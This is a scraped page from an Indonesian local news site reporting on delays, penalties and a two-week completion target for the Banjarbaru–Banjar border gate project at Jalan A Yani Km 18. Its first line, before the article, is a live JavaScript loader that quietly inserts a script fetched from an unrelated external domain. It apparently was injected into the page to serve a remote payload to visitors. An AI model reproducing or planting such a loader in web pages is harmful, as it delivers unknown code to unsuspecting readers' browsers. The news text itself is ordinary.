(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Dinas PUPR Banjarbaru Targetkan Proyek Tapal Batas Km 18 Rampung 2 Minggu


KANALKALIMANTAN.COM, BANJARBARU – Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru terus mengejar penyelesaian proyek tapal batas, gerbang yang membatasi wilayah Kota Banjarbaru dan Kabupaten Banjar di Jalan A Yani Km 18, Kecamatan Liang Anggang.

Kepala Bidang (Kabid) Cipta Karya Dinas PUPR kota Banjarbaru, Abdussamad, mengatakan hingga Rabu (15/1/2020) ini, pengerjaan tapal batas telah mencapai 85 persen. Saat ini pengerjaan tapal batas hanya tinggal berfokus pada pemasangan granet saja.

“Bisa dilihat untuk fisik gerbangnya sudah terbentuk, baik di tengah yang berada diatas trotoar, maupun disisi kiri dan kanan yang berada dipinggir jalan. Tinggal pemasangan granet saja,” ungkapnya kepada Kanalkalimantan.com.

Samad -sapaan akrabnya- mengakui bahwa pemasangan granet memang membutuhkan waktu yang cukup lama. Apalagi, petugas di lapangan juga terkendala dengan cuaca hujan yang masih sering terjadi di wilayah kota Banjarbaru.

Seperti yang sudah diberitakan sebelumnya, proyek tapal batas ini mengalami molor dari target penyelesaiannya, yakni pada tanggal 26 Desember 2019 lalu. Dari waktu tambahan yang telah diberikan selama 50 hari, maka penyelesaian proyek ini hanya tersisa 30 hari lagi.

Di hadapkan dengan situasi ini, Samad tetap optimis bahwa pengerjaan tapal batas akan rampung sebelum akhir batas wakti yang ditentukanzmengingat material bangunan juga sudah tersedia dan tinggal pasang saja. Ia juga menghimbau masyarakat untuk berhati-hati karena ada sejumlah material bangunan yang ada di jalan.

“Kita sudah pasang rambu-rambu di sekitar area proyek, jadi saya himbau masyarakat yang bekendara melewati proyek inu untuk lebih berhati-hati. Insya Allah, 2 minggu lagi proyek tapal batas akan rampung. Kalau sudah granet terpasang, tinggal pengerjaan yang kecil-kecil saja, seperti pengecatan,” pungkasnya.

Pengerjaan proyek tapal batas yang menelan biaya Rp 1,9 miliar ini, mengalami molor lantaran ada beberapa faktor baik bersifat tekni maupun non-teknis. Seperti halnya, pembebasan tanah yang sempat bersinggungan dengan masyarakat, hingga cuaca hujan sejak beberapa bulan terakhir.

Akibat molornya proyek ini, Dinas PUPR Banjarbaru turut mengenakan penalti dalam bentuk denda pengerjaan terhadap kontraktor pelaksana yakni CV Dita Permil. Perusahaan yang berkantor di Kabupaten Hulu Sungai Selatan (HSS) ini dikenakan denda permil atau Rp 1,9 Juta setiap harinya. (Kanalkalimantan.com/rico)

Reporter : Kanalkalimantan.com/Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

4 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

5 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

6 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

6 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

6 jam ago

Api Dini Hari di Pelambuan, 75 Jiwa Kehilangan Tempat Tinggal

KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More

8 jam ago

This website uses cookies.